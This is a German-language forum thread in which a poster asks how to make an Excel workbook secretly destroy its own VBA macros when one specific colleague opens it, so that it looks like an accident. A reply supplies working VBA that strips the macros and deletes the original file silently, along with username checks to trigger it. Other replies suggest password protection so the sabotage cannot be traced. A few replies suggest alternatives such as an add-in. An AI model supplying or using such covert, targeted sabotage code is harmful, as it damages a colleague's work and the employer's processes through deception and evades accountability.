Geplante Obsoleszenz mit VBA?
Hallo zusammen, folgende Herausforderung.
Ich habe eine gut funktionierende Excel Datei mit einigen VBA Modulen. Jetzt möchte ich, wenn ein bestimmter User diese Datei verwendet, dass die sich selber zerstört (fragt lieber nicht warum ;-)
Meine Idee wäre es, anhand des Pfades den Nutzer zu ermitteln (ist bekannt) und damit den Auslöser zu programmieren. Jetzt 2 Fragen.
- Gibt es eine bessere / sichere Lösung, natürlich soll "der" nutzer das nicht bemerken
- Wie kann ich VBA per VBA ändern? Die Datei soll sich noch öffnen können, aber die Scripte sollen nicht mehr funktionieren, und das nicht nur per if anweisung, sondern es soll die Scripte so zerschießen, dass ein ungeübter VBA nutzer die nicht wiederherstellen kann.
Da Fragen nach dem "Warum" sicher nicht ausbleiben gleich hier die Antwort. Ich habe ein Haufen (zusätzliche) Arbeit investiert um Prozesse zu beschleunigen und zu vereinfachen und gehe für eine Woche in Urlaub, und meine Vertretung ist bekannt dafür nicht viel zu leisten aber die Lorbeeren einzuheimsen, und das sehe ich nicht ein. Nennt das kindisch, ist mir bewusst aber Wurst. Vielleicht ist da draußen jemand mit genug krimineller Energie mir zu helfen??
Danke :-)
5 Antworten
Hallo,
damit VBA-Code auf das VBA-Projekt zugreifen kann muss unter Entwicklertools->Makrosicherheit->Einstellungen für Makros der Haken bei "Zugriff auf das VBA-Projekt vertrauen" gesetzt sein, standardmäßig ist er das nicht.
Da die einzelne Selbstzerstörung somit leider nicht geht, löschen wir stattdessen einfach das ganze VBA-Projekt und lassen den z.B beim Öffnen nach Prüfung des Benutzers laufen. Falls du es vorher testen willst noch ein Warnhinweis: Es bezieht sich auf die aktive Datei und sämtliches VBA darin wird restlos gelöscht.
Sub SpeichernohneMakro2()
Dim wks As Worksheet
Dim strDname As String
Application.ScreenUpdating = False
'Bildschirmaktualisierung abgeschaltet
Application.DisplayAlerts = False
'schaltet Meldungen aus
strDname = ActiveWorkbook.Path & "\" & Left(ActiveWorkbook.Name, Len(ActiveWorkbook.Name) - 5) & ".xlsx"
'Pfad und Name der Kopie
' Rest vom Makro
ActiveWorkbook.SaveAs strDname, FileFormat:=xlOpenXMLWorkbook
'Datei wird als Kopie gespeichert
Workbooks.Open Left(strDname, Len(strDname) - 1) & "m"
'Datei mit Makros erneut öffnen
With ActiveWorkbook 'Datei mit Makros löschen
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close False
End With
Application.ScreenUpdating = True
'Bildschirmaktualisierung eingeschaltet
Application.DisplayAlerts = True
'schaltet Meldungen ein
'neustarten der Datei da ansonsten die Makros weiter als "Geistversionen" existieren (sie sind in der xlxs-Datei weiter sichtbar und ausgeführt, werden aber nicht mitgespeichert)
Call Application.OnTime(EarliestTime:=Now, Procedure:="Dummy", Schedule:=True)
Call ThisWorkbook.Close(SaveChanges:=False)
'führt leider zu einer Fehlermeldung da Dummy logischerweise nichtmehr existiert, die ich aber nicht unterdrückt bekomme
End Sub
Public Sub Dummy()
End Sub
Den User kannst du auf zwei Arten abfragen:
Environ("Username") 'Windowsbenutzer
Application.UserName 'Excelbenutzer
Super!! dank dir, werd ich später ausprobieren und hier ein feeback geben. klingt auf jeden fall vielversprechend.
Gib dem doch gar nicht erst die Exceldatei. Wo ist der Sinn dahinter, sie ihm erst zu geben und dann automatisch zu zerstören?
Meine Empfehlung: Erstell eine Version ohne deine "Spezialmakros" und gib ihm diese.
Du kannst den Code auch in ein Add-In packen, dann ist es gar nicht erst in der Excel Datei drin.
hmm, wäre ne überlegung wert, allerdings arbeite ich mit einer firma zusammen, die das script auch verwendet (und das ist auch in ordnung), daher soll sich das ding auch nur zerschießen, wenn er es nutzt
allerdings stecke ich mit den kollegen dieser firma unter einer decke, da könnte man was machen....
Hallo stroiner123,
das ist eine lustige Aufgabe.
Zunächst würde ich den VBA Code mit PW schützen:
Dann kannst du zu Beginn jedes Scripts den (fälschungssicheren) Usernamen auslesen mit Mensch$ = Environ("username").
Und alle nicht berechtigten auf diese Art ausschließen:
If Mensch$ = "Arschengel" Then End
Auf Wunsch kannst du noch eine mehr oder weniger nette Msgbox vor dem End einbauen.
Bitte berichte hier, wie es gelaufen ist.

Achso, noch kann ich kein endgültiges Feedback geben, da mein Urlaub erst morgen beginnt, aber er hat die Exceldatei bereits bei der Einarbeitung von alleine zerschossen. Ich mache mir keine Sorgen, das er die Woche nicht tatsächlich seine wahren Fähigkeiten zeigt :D:D:D
arschengel?? du scheinst den kollegen zu kennen :D:D das mit dem passwortschutz ist ne gute idee, auch das andere werde ich mal ausprobieren. Ich halte dich auf dem laufenden ;-)
Das mit dem Passwort war ein super Hinweis, kannte die Funktion bisher nicht. So kann keiner was fixen geschweige denn mir was nachweisen :D:D Danke dafür!
Weiß er denn, das dieses Makro existiert? Anstatt den Code zu schrotten wäre es evtl Möglichkeit diesem den Code nicht anzubieten.
Zudem mal ne Frage, bleibt die Arbeit dann nicht für dich liegen?
ja, er weiß, dass es da "was" gibt
das ist ja das geile an der sache, die arbeit kann und darf nicht liegenbleiben, und es geht auch ohne meine scripte, will die firma ja auch nicht in den ruin treiben, aber er wird definitiv im strahl k*tzen wenn er alles händisch machen muss.
Nun, du kannst den Code auch in ein Add-In packen, dann ist der nicht in der Datei und er kann ihn nicht benutzen. Das Add-In kannst du an deine anderen Kollegen ja verteilen.
AddIn ist ne super sache, hab das bisher null auf dem Radar gehabt, auch wenn ich es in dem Fall etwas anders löse, ist der Hinweis wirklich gut! Danke dafür, wieder was gelernt ;-)
das geht nicht sinnvoll. Und schon gar nicht mit so Spielzeug wie VBA.
Eine vernünftige Lösung wäre eine Online-Komponente zu verwenden. Die kann dann ganz direkt und einfach als Service mit begrenztem Nutzungsumfang angeboten werden.
scheint doch sinnvolle lösungen zu geben .... ich staune immer wieder über die mühe, die sich menschen machen, nur um auf eine Frage zu antworten mit "weiß ich nicht", "so ist quatsch" oder "mach es anders als du es möchtest" .... natürlich ohne tatsächlich eine konstruktive lösung anzubieten. Dennoch, danke für deine Zeit, du hast sicher viel zu tun ;-)
klar gibt es sinnvolle Lösungen -- ich habe Dir ja eine beschrieben.
Und gebastel. Viel Spaß damit! ;-)
er kann (und muss) die excel datei ja haben, aber nicht die scripte, die ihm die arbeit erleichtern, aber rauslöschen geht auch nicht, das muss wie ein "unfall" aussehen ;-)